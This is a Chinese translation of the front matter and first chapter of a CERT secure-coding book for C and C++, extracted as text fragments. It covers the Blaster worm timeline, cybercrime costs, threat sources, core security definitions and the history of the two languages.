本书致力于解决C和C++中已经导致危险的、破坏性的常见软件漏洞的基本编程错误，这些漏洞自CERT 1988年创立以来就记录在案。针对导致这些漏洞的编程错误，本书既出色地给出了深度工程分析，又提出了缓解策略，可以富有成效地降低或消除漏洞被恶意利用的风险。 自Robert于1987年4月加入SEI以来，我就一直与他共事。Robert是一位知识渊博、技术熟练的软件工程师，他在软件漏洞细节分析和表达洞察成果方面卓尔不凡。作为研究结果，本书细致而精确地分析了软件开发者面临的常见问题，并提供了实用的解决方案。Robert在软件开发方面具备的宽广背景，也使得他擅长在性能、易用性以及其他在开发安全代码过程中必须考虑的质量特性之间进行权衡。除了Robert外，本书还凝聚了CERT积累和提炼的知识，以及CERT/CC漏洞分析小组、CERT操作人员、SEI编辑和工作人员的杰出工作。 Richard D.Pethia CERT 主管"},
    {"text": "未知 前言 1988年11月爆发的Morris蠕虫事件造成当时全球10%的互联网系统陷入瘫痪，作为对该事件的回应，当月美国国防部高级研究计划局（Defense Advanced Research Projects Agency，DARPA）成立了CERT。"},
    {"text": "自1988年以来，CERT共已接到逾22665个报告计算机安全事件或咨询有关信息的热线电话，已处理逾319992起计算机安全事件，而且每年报告的事件数目呈持续增长的态势。"},
    {"text": "分析表明，大部分计算机安全事件是由特洛伊木马、社会工程学（social engineering）以及软件漏洞利用（exploitation）造成的，包括软件缺陷、设计决策、配置决策以及非预期的系统间交互等。"},
    {"text": "每收到一份报告，CERT就会分析报告所述的可能的漏洞，并与软件制造者协作，通知其产品中存在安全缺陷，促进并追踪其对问题的响应 [1] 。"},
    {"text": "为了解决日益增加的漏洞和事件问题，必须采取相应的措施：在源头有效地控制它们，即必须在软件的开发阶段和随后的维护工作中避免引入软件漏洞。"},
    {"text": "·如果你是一位软件项目经理，本书将教你识别软件漏洞的风险及导致的后果，对投资开发安全软件给出指导。 ·如果你是一位计算机专业的学生，本书将教你有用的编程实践，帮助你避免不良的开发习惯，使你能够在职业生涯中开发出安全的程序。 ·如果你是一位安全分析师，本书对常见的漏洞提供了细致的描述，并提供了检测漏洞的方法和实用的规避措施。 本书组织和内容 本书提供了C和C++编程中关于安全实践方面的实用指导。"},
    {"text": "安全的程序需要安全的设计，然而，如果开发者不了解C和C++编程中许多固有的安全陷阱，那么即便是最佳设计也可能最终导致不安全的程序。"},
    {"text": "每一章都描述了一些会导致漏洞的不安全编程实践和常见的错误、这些编程缺陷如何被利用、这种恶意利用所导致的后果，以及替代的安全做法等。"},
    {"text": "·第2章：描述C和C++中的字符串操作、常见的安全缺陷以及由此导致的漏洞（包括缓冲区溢出攻击和栈溢出攻击），还介绍了代码注入（code injection）和弧注入（arc injection）两种漏洞利用方式。"},
    {"text": "具体的示例程序通常已在一个或多个特定环境下编译和测试过，同时漏洞都被予以评估，以确定它们是否具体相关于以下因素，或者具有包含以下因素的普遍性：编译器版本、操作系统、微处理器、适用的C或C++标准、小端表示法（即低位在前、高位在后）或大端表示法（即高位在前、低位在后）架构，以及执行栈架构等。"},
    {"text": "未知 致谢 在此我要感谢为本书问世做出贡献的每一个人。首先要感谢Noopur Davis、Chad Dougherty、Doug Gwyn、David Keaton、Fred Long、Nancy Mead、Robert Mead、Gerhard Muenz、Rob Murawski、Daniel Plakosh、Jason Rafail、David Riley、Martin Sebor 和David Svoboda。他们为本书做出了直接的贡献。还要感谢下列研究人员的贡献。他们是Omar Alhazmi、Archie Andrews、Matthew Conover、Jeffrey S.Gennari、Oded Horovitz、Poul-Henning Kamp、Doug Lea、Yashwant Malaiya、John Robert 和Tim Wilson。 我要感谢SEI和CERT的管理层，感谢他们的鼓励以及对我劳动成果的支持。他们是Jeffrey Carpenter、Jeffrey Havrilla、Shawn Hernan、Rich Pethia和Bill Wilson。 还要感谢编辑Peter Gordon和Addison-Wesley的其他一些职员，他们是Jennifer Andrews、Kim Boedigheimer、John Fuller、Eric Garulay、Stephane Nakib、Elizabeth Ryan和Barbara Wood。 我也想感谢帮助开发开放式学习倡议课程的每个人，包括帮助设计课程的学习科学家Marsha Lovett，以及帮助实现该课程的人们，包括Norman Bier和Alexandra Drozd。 我还要感谢以下审校者给予的深思熟虑的评论和富有洞察力的见解，他们是Tad Anderson、John Benito、William Bulley、Corey Cohen、Will Dormann、William Fithen、Robin Eric Fredericksen、Michael Howard、Michael Kaelbling、Amit Kalani、John Lambert、Jeffrey Lanza、David LeBlanc、Ken MacInnis、Gary McGraw、Randy Meyers、Philip Miller、Patrick Mueller、Dave Mundie、Craig Partridge、Brad Rubbo、Tim Shimeall、Michael Wang和Katie Washok。 我要感谢CERT小组其他成员的支持和协助，没有他们我永远都不可能完成本书。最后一点也很重要，感谢内部编辑和图书管理员，他们的帮助使得本书的最终问世成为可能，他们是Rachel Callison、Pamela Curtis、Len Estrin、Eric Hayes、Carol J.Lallier、Karen Riley、Sheila Rosenthal、Pennie Walters和Barbara White。"},
    {"text": "未知 第1章 夹缝求生 To live without evil belongs only to the gods. —Sophocles.Fragments.l.683 计算机系统并不易受攻击，易受攻击的是我们人类，只不过遭受的攻击通过计算机系统完成罢了。"},
    {"text": "Blaster的主要破坏力在于使用户无法正常使用自己的机器，并且能够渗透整个局域网，感染的用户必须设法删除该蠕虫并且升级系统才能正常工作。 Blaster蠕虫作恶前后的一系列事件，如图1.1所示，揭示了软件厂商、安全研究人员、发布漏洞利用代码者以及恶意攻击者之间错综复杂的关系。"},
    {"text": "图1.1 蠕虫时间表 首先，LSD研究小组发现了RPC [1] （可通过TCP/IP交换信息）中存在一个缓冲区溢出漏洞，成因在于对“畸形”消息的错误处理。"},
    {"text": "2003年7月16日，微软发布了微软安全公告MS03-026 [2] ，LSD发布了一个特别报告，而CERT协调中心（CERT/CC）则发布了一个漏洞说明VU#568148 [3] ，详细描述了该漏洞，并提供相应的补丁和应急方案的信息。"},
    {"text": "实质上，Xfocus对微软提供的补丁程序进行了逆向工程，研究了该漏洞的原理，并且开发了相应的攻击该漏洞的方法，并将其公之于众[Charney 2003]。"},
    {"text": "由于DEF CON黑客大会将于8月2日～3日召开，因此大家普遍预计将会有针对该漏洞的蠕虫发布（并不是说参加DEF CON的人会这么做，而是由于该大会会引起人们对黑客技术的关注）。"},
    {"text": "DHS（Department of Homeland Security，美国国土安全部）于8月1号发布了一个预警，FedCIRC（Federal Computer Incident Response Center，联邦计算机事故响应中心）、NCS（National Communications System，美国国家通信系统）以及NIPC（National Infrastructure Protection Center，美国国家基础设施保护中心）也在对漏洞利用行为积极进行监测。"},
    {"text": "24小时后，Blaster感染了336000台计算机[Pethia 2003a]。 截至8月14日，Blaster已经感染了超过100万台计算机，在高峰期，它每小时感染100000个系统[de Kere 2003]。"},
    {"text": "Blaster是一个通过TCP/IP进行传播的贪婪的蠕虫，它利用了Windows的DCOM RPC接口中的一个漏洞。 当Blaster执行时，它首先检测计算机是否已感染以及蠕虫是否正在运行，如果是这样，它就不会重复感染该计算机，否则，Blaster将： \"windows auto update\"=\"msblast.exe\" 加入注册表的 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 键中，这样，每当启动Windows，该蠕虫程序都会运行。"},
    {"text": "即便Blaster不能成功地感染目标系统，DCOM RPC缓冲区溢出漏洞利用蠕虫也会终止其扫描到的Windows NT、Windows 2000、Windows XP以及Windows 2003系统上运行的svchost.exe进程。"},
    {"text": "在Blaster利用的漏洞公布前的一个月，CERT/CC的主管Richard Pethia于2003年6月25日在主题为“网络安全、科学、研究和发展”的美国国土安全小组委员会的特委会会议[Pethia 2003a]上明确表示： 当今理应关注互联网的安全问题。"},
    {"text": "适应于组织内部的大型机和小型的、规划良好的网络的安全措施，对互联网不再有效，因为这是一个复杂的、动态的互联网络世界，没有明确的边界，没有中央控制。"},
    {"text": "基于一个使用了简单破坏模型的参数化“最坏情况”分析，Nicholas Weaver和Vern Paxson[Weaver 2004]估计通过攻击微软Windows中广泛使用的服务并且携带某种高破坏性的载荷（例如，破坏主硬盘控制器、覆写CMOS RAM或擦除闪存等），一个最可怕的蠕虫，可能造成多达500亿美元乃至更大的直接经济损失！"},
    {"text": "[5] SYN 洪水（SYN flooding）是一种恶意客户端程序用户所使用的对计算机服务器进行拒绝服务攻击的方法，恶意程序利用伪造的IP 地址重复地对服务器的每一个端口发送SYN（同步）包。"},
    {"text": "未知 1.1 衡量危险 生产不安全软件系统的风险可以从历史风险和潜在的未来风险两方面进行评估。历史风险可以通过统计曾经发生过的案件的类型和损失进行度量—尽管已知案件的数量远比实际发生的要少。潜在的未来风险则可通过评价正在出现的危险以及现有软件系统的安全性部分地予以估计。 未知 1.1.1 损失的现状 CSO杂志与美国特勤局（the U.S.Secret Service）、卡内基梅隆大学软件工程学院CERT计划与德勤（Deloitte）的安全性和隐私保护解决方案中心合作进行的2010年网络安全观察调查（2010 CyberSecurity Watch Survey）[CSO 2010]揭示，在2007～2009年之间，网络犯罪受害者的数量减少（60％相对于66％），但受网络犯罪事件影响的组织的数量显著增加。在2008年8月至2009年7月被调查的523名受访者中，与前一年相比，超过三分之一（37％）的受访者经历了网络犯罪增加，16％的受访者金钱损失增加。在经历了电子犯罪（e-crime）的那些人中，有25％的受访者报告经营亏损，13％的受访者表示有经济损失，15％的受访者宣称由此导致声誉受损。受访者报告，电子犯罪平均给每个组织造成的损失达394700美元。 估计仅在美国，网络犯罪的损失范围从每年数以百万计到高达一万亿美元。但是，真实损失是很难进行量化的，其中有许多原因，包括以下内容。 ·相当高比例的网络犯罪（72％，根据2010年网络安全观察调查[CSO 2010]）被隐瞒甚至被忽视。 ·统计数字有时不可靠，要么被高估，要么被低估，取决于统计数字的来源方（例如，银行可能故意少报成本，以避免网上银行失去消费者信赖）。根据由计算机安全协会（Computer Crime Institute，CSI）进行的2010/2011年度计算机犯罪与安全调查（2010/2011Computer Crime and Security Survey），“与以往任何时候相比，现在愿意分享其遭受的经济损失的具体信息的受访者更少”[CSI 2011]。 ·间接成本，如在线服务失去消费者的信赖（例如，银行会导致电子交易费收入减少和更高的维护人员成本[Anderson 2012]），也被所有报告的机构高估、低估或不考虑在内。 ·传统犯罪（如税收和福利诈骗，今天被认为是网络犯罪，只是因为这些相互作用的很大一部分现在是在线进行的）和新的“归因于Internet”的犯罪之间的界限往往是模糊的[Anderson 2012]。 作为响应来自英国国防部的请求，Ross Anderson和他的同事们对网络犯罪的开销进行了系统的研究[Anderson 2012]。表1.1重点描述了一些他们在评估全球的网络犯罪开销上的研究成果。 表1.1 由已知的估算判断成本类别的覆盖范围* ①估计是使用英国数据并基于英国GDP占世界GDP份额（5%）按比例扩展而得的，由英国数据推断全球规模，需要极为谨慎。 *资料来源：摘自R.Anderson等在2012年第11届信息安全经济学年度研讨会上的“测量网络犯罪成本”论文。http://weis 20l2.econinfosec.org/papers/Anderson_WEIS 2012.pdf"},
    {"text": "未知 1.1.2 威胁的来源 术语威胁（threat）在计算机安全领域有很多含义，其中一个定义（军方常用）如下：过去曾经是或将来会成为攻击来源的个人、团体、组织或外部势力。威胁例子包括黑客、内部人员、罪犯、竞争情报从业者、恐怖分子和信息战士。 黑客 （hacker）。黑客包含范围广泛的个体，他们具有不同的技术能力和处世态度。黑客通常对权威或权力持敌对情绪并表现出具有威胁性的行为[Thomas 2002]。他们通常为好奇心和其他黑客的尊重所驱动。很多黑客编写使计算机软件漏洞曝光的程序。他们揭露漏洞的方法不外乎有两种，既可能是负责任地披露（responsible disclosure） [1] ，也可能是完全披露（full disclosure，即尽可能地告诉每个人一切）。结果导致黑客对安全问题而言，可能既有益也有害。对于那些首要目的是以非授权方式访问计算机系统窃取或破坏数据的人，我们通常称为骇客（cracker）。 内部人员 （insider）。内部人员的威胁来源于现任或以前的员工，或那些对信息系统、网络以及受保护数据有合法访问权限的第三方人员[Andersen 2004]。由于内部人员能合法地访问所在组织的网络和系统，因此他们不需要多么高深的技术就能发动攻击。另一方面，技术水平高超的内部人员则能发动直接而且影响广泛的攻击。这些技术型的内部人员甚至有能力隐藏攻击的踪迹，使得识别其身份难度加大。内部人员这样做的原因五花八门。在某些特定的行业中，经济利益方面的因素可能是主要的，另外，不管哪个行业都会有人因报复心理驱使而进行攻击活动。窃取知识产权通常可以带来经济上的收益，而且当进入一家新公司工作时会让自己更受重视。CERT内部人员威胁中心自2001年以来，已收集和分析了约700多起内部人员网络犯罪的信息，范围从国家安全间谍活动到窃取商业机密[Cappelli 2012]。 罪犯 （criminal）。罪犯是指那些期望通过其犯罪活动获利的、有组织的犯罪团伙中的个体或成员。常见的犯罪行为包括交易欺诈和窃取身份。近来，利用欺诈电子邮件和精心设计的欺骗网站使受害者泄露个人财务信息（例如，信用卡号、账户名和密码、社会保险号）的钓鱼式攻击，在数量上和技术含量上都有增长。网络犯罪分子还试图入侵系统以窃取信用卡信息（这样他们就可以直接从中获利）或其他可供售卖或勒索的敏感信息。 竞争情报从业者 （competitive intelligence professional）。公司间谍称自己为竞争情报从业者，他们甚至还拥有自己的职业协会 [2] 。竞争情报从业者的工作可能从目标组织内部开始—首先进入其中工作，然后窃取并出卖该组织的商业机密，或者从事其他形式的间谍活动。他们也可能通过其他渠道（如互联网、拨号线路以及直接物理闯入）侵入，或从与目标公司的网络相连通的合作伙伴（如供应商、顾客或经销商）的网络侵入。自冷战结束后，很多国家都曾利用这类间谍手段从大公司窃取有价值的资料。 恐怖分子 （terrorist）。计算机恐怖主义指的是针对计算机、网络以及其他信息系统的非法攻击或攻击威胁，从而胁迫或强迫政府或人民支持某项政治或社会目标[Denning 2000]。由于恐怖分子的目标与普通的罪犯不同，因此进行的攻击也有所不同。例如，恐怖分子可能钟情于攻击SCADA（Supervisory Control and Data Acquisition，数据采集与监控）系统之类的关键基础设施（因为SCADA控制着提供诸如电力或燃气之类的不可或缺的服务设备）。尽管这令人忧虑，但这些系统比一般公司的信息系统要难攻击得多。受政治鼓动的攻击，作为其发表自身立场的一种形式，通常会篡改网站（加上一些政治性的标语）或者进行某种形式的DoS攻击，这种攻击常常是由一些松散地组织起来的黑客群（例如，匿名黑客群）或者是一些具有黑客技能的个人发起的。这些人通常对某些特殊的事件抱有同情心或者在某个冲突事件中坚定地站在某一方的立场之上[Kerr 2004]。 信息战士 （information warrior）。根据美国战略与国际问题研究中心（CSIS）报告，美国面临着“来自外国情报机构和军队在网络空间的长期挑战”。国防部、商务部，国土安全部和其他政府机构[CSIS 2008]报告了多起身份不明的外国实体入侵。CSIS维护了一个重大网络事件列表 [3] ，用于追踪报道国际上的攻击。例如，美国宇航局监察长报道，在2011年，有13个APT（高级持续性威胁）攻击成功攻陷了美国航空航天局（NASA）的电脑。在一次进攻中，入侵者窃取了150个用户身份证书，利用这些证书可以获得对NASA系统未经授权的访问。 [1] CERT/CC 漏洞披露政策参见www.cert.org/kb/vul_disclosure.html。 [2] 参见www.scip.org。 [3] 参见http://csis.org/publication/cyber-events-2006。"},
    {"text": "未知 1.1.3 软件安全 CERT/CC监控漏洞信息的公开来源，同时也经常会接到漏洞报告。漏洞信息是以CERT漏洞备忘录和US-CERT漏洞备忘录的形式公布 [1] 。CERT/CC不再是漏洞报告的唯一来源，许多其他组织，包括赛门铁克（Symantec）和MITRE，也报告漏洞数据。 目前，漏洞信息的最佳来源之一是美国国家标准与技术研究所（NIST）的全美国漏洞数据库（NVD）。NVD整合来自多个来源的漏洞信息，其中包括CERT/CC，因此它包含各种信息来源的漏洞的一个超集。 图1.3显示了NVD从2004年到2012年第三季度编目的漏洞数量。本书第一版绘制的是从1995年至2004年向CERT/CC报告的漏洞。遗憾的是，这些数字继续攀升。 图1.3 NVD编目的漏洞 CERT的首席科学家，Gregory E.Shannon博士，在美国国土安全内务委员会前的证词描述了软件的安全环境[Shannon 2011]，如下所示。 今天的运营网络环境是复杂而动态的。用户需求和环境因素都在不断变化，这会导致实践和技术意料之外的使用、重新配置和不断演化。在这些环境中，不断发现新的缺陷和漏洞，利用这些环境的手段继续增加。CERT协调中心仅上个月就编目了约250000个恶意工件实例。在这种环境中，公共和私营机构既要应对每天反复发作的攻击，也要应对更严重的以前没有经历过的故障（但不一定是意外），这些都要求快速、有能力和敏捷的反应。 由于威胁的数量和复杂性增加的速度超出了我们开发与部署更安全的系统的能力，因此未来受攻击的风险相当大并会增加。 [1] 参见www.kb.cert.org/vuls。 未知 1.2 安全概念 计算机安全（computer security）指的是阻止攻击者通过未授权访问或未授权使用计算机和网络达到目的[Howard 1997]。安全包含开发和配置两方面的元素。开发安全要求具有安全的设计和无瑕疵的实现；配置安全则要求系统和网络被安全地予以部署以免遭攻击。两种安全不分主次，属于鸡和蛋的问题，不过有一点是确定无疑的：二者缺一不可。原因在于，就算能够开发出极其安全的软件，最后仍然需要对其进行安全的部署和配置。如果部署阶段的工作没有做好，即便设计为最安全的代码也会给攻击者以可乘之机。这种情形与最终用户要求软件易使用、易配置、易维护同时价格低廉的目标是矛盾的。 图1.4展示了这些安全概念之间的关系。 程序是由软件组件（software component）和定制开发的源代码（source code）构建而成的。软件组件是组成大型软件程序的元素[Wallnau 2002]。软件组件包括各种共享库，例如，动态连接库（DLL）和ActiveX控件、EJB（Enterprise JavaBeans）以及其他一些组合单元。软件组件在运行时可静态或动态链接到程序中。然而，软件组件并不是由最终用户直接执行的，它只不过是一个大程序中的一个组成部分而已。因此，软件组件是不可以有漏洞的，因为它不可能脱离程序的上下文而独立运行。源代码指的是程序指令集的原始形式。“源”这个词将代码与它可能具有的其他任何形式（例如，目标代码和可执行代码）区分开。虽然有时也需要对代码的“非源”形式（例如，当集成某些不包含源代码的第三方组件时）进行分析，但我们在这里只关注“源”形式的代码，因为本书的目标读者主要是软件开发人员（他们通常都可以访问源代码）。 图1.4 安全概念、角色和关系 图1.4还展示了人和物之间的关系。这些角色在不同的组织中有所不同，在本书中使用如下定义。 ·程序员（programmer）：对源代码的正确性、性能和安全等特性负责。 ·系统集成人员（system integrator）：负责集成新的和现有的软件组件，以创建满足特定顾客要求的软件或系统。 ·系统管理员（system administrator）：负责管理系统并维护其安全性，包括安装和卸载软件、给系统打补丁以及管理系统权限等。 ·网络管理员（network administrator）：负责管理网络安全事务。 ·安全分析员（security analyst）：关注安全缺陷并提供识别方法。 ·漏洞分析员（vulnerability analyst）：负责分析现有的和已部署的程序中的漏洞。 ·安全研究员（security researcher）：负责开发缓解措施和解决方案，可能从业于业界、学术界或政府。 ·攻击者（attacker）：利用软件漏洞达到其不可告人目的的坏家伙。他们的动机视威胁而定。攻击者通常也称为敌手、恶意用户、黑客或其他别名。 未知 1.2.1 安全策略 安全策略（security policy）指系统管理员或网络管理员为使系统免遭威胁而设定的一些规则和操作。下面的定义摘自RFC 2828的Internet安全术语表[Internet Society 2000]。 安全策略 一套规则和操作，规定了系统或组织如何提供安全的服务以便保护其敏感和关键的系统资源。 安全策略可以是显式的，也可以是隐式的。文档化的、众所周知的、显著的强制性安全措施有助于规范预期的用户行为。当然了，一个组织缺乏明确的安全策略并不意味着会因为没有策略可供违反而免受攻击。"},
    {"text": "未知 1.2.2 安全缺陷 软件工程很早就关注软件瑕疵（software defect）的消除问题。软件瑕疵是人类思维错误（包括疏忽）被编码到软件中的结果。功能缺陷可能在软件研发周期中的任何时刻产生。例如，一个已部署的产品中的瑕疵可能源于讹传的需求或对需求的误解。 安全缺陷（security flaw） 指会导致潜在安全风险的软件瑕疵。 并非所有软件瑕疵都有安全风险，只有那些确实有安全风险的软件瑕疵才称为安全缺陷。如果我们认同安全缺陷就是软件瑕疵的说法，那我们也必须认同只要消除软件中的所有瑕疵，就可以消除所有安全缺陷。这个前提是软件工程和安全程序设计之间关系的基础。伴随着软件质量（可以用每千行代码中所包含的瑕疵的数量进行度量）的提高，软件的安全性也随之提高。因此，很多设计用来消除软件瑕疵的工具、技术和过程也可以用来消除安全缺陷。 尽管如此，仍然有很多安全缺陷得不到检测，因为传统的软件开发方法很少假定攻击者的存在。举个例子，软件测试通常仅验证对于合理范围内的用户输入应用程序是否有正确的行为。遗憾的是，攻击者从来不按常理出牌，他们通常会花费大量的时间寻找能够危害系统的输入条件。要想按照漏洞可能导致的风险对安全缺陷进行评估并将其按优先级排序，就必须对现有的工具和方法进行扩展或补充，以假设攻击者的存在。 未知 1.2.3 漏洞 并非所有的安全缺陷都会导致漏洞（vulnerability）。然而，如果一个安全缺陷会导致输入数据（例如，命令行参数）越过安全界限进入到程序中，那该安全缺陷就会导致软件漏洞。当包含安全缺陷的程序自身拥有比执行程序的用户更高的执行权限时，或者当程序被网络服务所使用（输入数据通过网络连接传入）时，这种情况就可能会发生。 漏洞（vulnerability） 指允许攻击者违反显式或隐式的安全策略的一组条件。 C安全编码规则技术规格说明（ISO/IEC TS 17961 C Secure Coding Rules technical specification）[Seacord 2012a]草案用到了这个定义。即便形成一个漏洞的所有前提条件都不具备，仍然可能存在安全缺陷。例如，一个程序可能包含一个缺陷，该缺陷允许用户以从程序本身继承而来的权限执行任意的代码。如果程序本身并没有特殊权限并且程序只能被本地用户所使用，那么该安全缺陷就并不构成漏洞，因为此时并没有违反安全策略的可能性。尽管如此，这个瑕疵也很可能会演变成一个安全缺陷，因为该程序可能会被重新部署或者是被一个拥有更高权限的系统所使用，那时攻击者就可以以更高的权限执行代码了。 在没有安全缺陷的情况下，同样可能存在漏洞。因为安全只是质量指标中的一个属性，它还需要与其他质量属性如性能和易用性等进行权衡[Bass 2013]。在这个权衡的过程中，软件设计者可能会故意选择将产品设计成附带漏洞的形式（可以某种形式利用）。故意忽略软件中的安全漏洞并不意味着软件就是安全的，只是说明软件的设计者代表软件的使用者接受了可能由安全问题所带来的风险而已。 图1.4揭示了程序可能会包含的实质上是由计算机系统和网络所引起的漏洞。也许看起来这一区别并没有那么清楚，可是如果程序未部署到计算机系统或者网络中，那么它也根本不可能有漏洞。如果程序未安装，或没有以某种可被攻击者利用来违反安全策略的方式进行安装，那么没有人可以用在你办公室硬盘上的程序来攻击你。进一步而言，实际的漏洞通常是在软件被配置成使其本身固有的漏洞可被利用的情况下而被发现的。因为这个区别有点难以表达清楚，所以在本书和CERT/CC的漏洞公告和咨询报告中，通常只是说程序包含漏洞或者程序是有漏洞的。 未知 1.2.4 漏洞利用 软件中的漏洞是可以利用（exploitation）的。利用的形式多种多样，包括蠕虫、病毒和木马等。 利用（exploit） 指借助软件漏洞来违反一个显式或隐式的安全策略的软件或技术。 漏洞利用代码的存在让安全分析人员感到不安。因此，需要根据利用代码的目的对其进行有效的区分。例如，验证性（proof-of-concept）的漏洞利用代码是为了验证某漏洞确实存在而开发的。验证性的漏洞利用代码是必要的，因为有时软件产商会因怕造成不好的影响或者不愿意负担提供补丁程序所带来的经济开销，而不愿承认软件漏洞的存在。此外，有时漏洞很复杂，需要有验证性的利用代码向厂商证实该漏洞确实存在。 如果适当地加以管理，验证性的漏洞利用代码就是有益的。然而，我们也很容易发现，一旦那些代码被心怀不轨的人所利用，它们将会迅速地变成蠕虫、病毒或者攻击者手中其他的凶器。 虽然安全研究者喜欢区分不同类型的漏洞利用，可实际上，所有的利用代码都只不过是经过编码了的知识，而知识就是力量。理解程序如何被利用是一个颇有价值的手段，它可以帮助程序员开发安全的软件。然而，针对已知漏洞而传播的相应的利用代码会危害每个人的利益。因此在写作本书的过程中，我们决定仅针对例子程序展示例子代码。虽然仅有的这些信息已经可以用于各种目的，但是要想创建实际的利用代码，仍然需要大量的知识和经验。"},
    {"text": "未知 1.2.5 缓解措施 缓解措施 [1] 是指针对软件缺陷的解决方案，或者用于防止软件漏洞被利用的应急方案。在源代码的层次，缓解措施可以是非常简单的操作，例如，使用一个带边界检查的字符串复制函数取代不带边界检查的字符串复制函数。而在系统或网络的层次，一个缓解措施可能就是关掉某个端口或者对流量进行过滤，使攻击者无法接触到漏洞。 消除安全缺陷的首选做法应该是找到并修正它。然而，在某些情况下，阻止恶意的输入信息接触到漏洞所在地对于消除安全漏洞更划算。通常不推荐采用这种方法，因为这要求开发人员首先理解攻击者所能采用的所有攻击手段，并有针对性地对代码中可能引发缺陷的所有执行路径都进行识别和保护。 缓解措施（mitigation） 指能够保护或者限制对漏洞进行利用的方法、技术、过程、工具或运行库。 漏洞问题也可以通过将漏洞隔离或者阻止恶意输入到达漏洞代码处的方式解决。由于这种解决方式实际上是将在开发者身上花费的代价转移到了系统管理员和最终用户身上，因此最终会造成缓解措施的总成本的提高。另外，由于缓解措施必须由主机的系统管理员或者用户进行成功地实施，因此不能保证在所有情况下漏洞都能正确地处理。 [1] 缓解措施也可称为对策（countermeasure）或规避策略（avoidance strategy）。 未知 1.3 C和C++ 之所以决定写作本书，是因为C和C++语言已经如此流行，有数目庞大的遗留代码库和大量的新代码以这两种语言开发出来。TIOBE指数是编程语言流行程度的一个衡量指标。表1.2显示的是2013年1月的TIOBE指数，表1.3显示的是语言流行程度的长期趋势。 表1.2 TIOBE指数（2013年1月） 表1.3 TIOBE指数历史趋势（2013年1月） 此外，CERT/CC接收到的漏洞报告中有很大一部分是针对使用C或C++语言中的一种所开发的程序。在对其原因进行更深入的研究之前，让我们首先简要地回顾这两种语言的历史。"},
    {"text": "未知 1.3.1 C和C++简史 在第2届程序设计语言的历史（History of Programming Languages）大会[Bergin 1996]上，Dennis Ritchie发表了C语言的发展（The Development of the C Language）演讲。C语言是在20世纪70年代末期作为UNIX操作系统的实现语言而开发出来的。C语言源于无类型语言B语言[Johnson 1973]，而B语言则源于BCPL（Basic Combined Programming Language，基本组合编程语言）[Richards 1979]。BCPL语言是由Martin Richards于20世纪60年代设计开发的，并且在20世纪70年代早期的一些项目中得到了使用。B语言可以看成是无类型的C语言，或者更准确地说，是BCPL语言被浓缩于8KB内存中的版本。 《The C Programming Language》一书（也就是通常说的“K&R”）[Kernighan 1978]最初于1978年出版。该书出版前后的一段时间里，对语言的改变主要是在移植性方面，这也是把代码移植到Interdata8/32计算机上的结果。那时候，C语言仍强烈地表现出其无类型的血统。 ANSI于1983年夏季成立了X3J11委员会。ANSI这么做的目的在于“将现有的通用的C语言的定义进一步形式化，形成一个清晰的、稳定的和无二义性的标准，以增强用户程序在不同的C语言环境中的移植能力”[ANSI 1989]。X3J11在1989年年底发表了一份报告，该报告随后被ISO（the International Organization for Standardization，国际标准化组织）接受，成为ISO/IEC 9899-1990。这两份报告没有技术上的差别，仅仅是将ANSI标准的章节序号按照ISO标准进行了重新编排。通常将这两份标准称为C89，偶尔也称为C90（根据其被批准的日期）。该标准的第1版随后被ISO/IEC 9899/COR1:1994、ISO/IEC 9899/AMD1:1995以及ISO/IEC 9899/COR2:1996改进和修正。通常将ISO/IEC 9899/AMD1:1995称为AMD1，有时将其所改进的标准称为C95。 这份标准的第1版（及修正版）随后被ISO/IEC 9899:1999 [ISO/IEC1999]所取代。通常将这份后来的C标准称为C99。最近，第二版的标准（修订）由ISO/IEC 9899:2011[ISO/IEC 2011]所取代，后者通常简称为C11。 严格意义上的C的后继语言有Concurrent C[Gehani 1989]、Objective-C[Cox 1991]，C*[Thinking 1990]、当然还有C++[Stroustrup 1986]。C语言同时也广泛用作很多编译器的中间代码表示（作为一种可移植的汇编语言），包括其直接后继者如C++或者某些与其无直接关系的语言（例如，Modula3[Nelson 1991]和Eiffel[Meyer 1988]等）。 在这些C的后继者中，C++使用得最为广泛。C++是由Bjarne Stroustrup于1983～1985年间在贝尔实验室中开发的。在1983年前，Stroustrup也曾给C增加过一些特性，并且称其为“带类的C”（C with classes）。C++这个术语在1983年首次提出。 C++在首次发布后发生了巨大的变化。特别值得一提的是，《The Annotated C++ Reference Manual》[Ellis 1990]（ARM C++）为其加入了模板和异常，ISO C++标准则为其加入了运行时类型识别（Runtime Type Identification，RTTI）、名字空间以及一个标准库。最新版本的C++标准是ISO/IEC14882:2011，通常简称为C++11[ISO/IEC14882:2011]。 C和C++语言在今天仍然在不断发展。C编程语言国际标准化工作组（ISO/IEC JTC1 SC22 WG14）负责C语言标准的维护。美国的立场由INCITS的PL22.11 C技术委员会代表。C++编程语言国际标准化工作组（ISO/IEC JTC1 SC22 WG21）负责C++标准的维护。美国的立场由INCITS的PL22.16 C++技术委员会代表。"},
    {"text": "C的这种特征使得当程序员误以为某些事情会由C自动处理（而实际上并不会）时，就可能会导致漏洞的出现。 如果程序员熟悉某些表面看上去相似的语言，如Java、Pascal或者Ada，那他们更容易误以为C会为其提供更多的保护。 这些错误的假设导致程序员容易犯这样的一些错误：对数组的越界不加保护，不处理整数操作的溢出和截断，以及用错误的实参数目调用函数等。"},
    {"text": "未指定行为 （unspecified behavior）：使用一个未确定的值，或C标准提供两种或更多可能性的其他行为，并规定，在任何情况下选择使用哪一种没有进一步的要求。"},
    {"text": "实现是一组特定的软件，它在一个特定的翻译环境下运行，具有特定的控制选项，在一个特定的执行环境下执行程序的翻译，并支持执行其功能。 实现基本上是编译器命令行（包括选定的标志或选项）的同义词。"},
    {"text": "从语言的历史中我们可以看出，在C编程语言的初始阶段，可移植性并不是一个主要目标，但当将语言移植到不同的平台，并最终标准化时，移植性逐渐变得重要。"},
    {"text": "符合程序是对一个符合标准的实现而言可以接受的程序。 严格符合程序的目的是要最大限度地在符合的实现之间移植。 符合程序可以依赖于一个符合标准的实现不可移植的特性。"},
    {"text": "例如，可以通过显式类型转换将指向某一类型的指针转换为指向另一种类型的指针，而当对转换后的指针进行解引用（dereferenced）时，其行为就是未定义的。"},
    {"text": "总之，虽然C语言包含了一些经常被误用，从而导致安全缺陷的因素，但C仍然是一种广为流行的语言，在许多情况下是多种应用程序的首选语言。"},
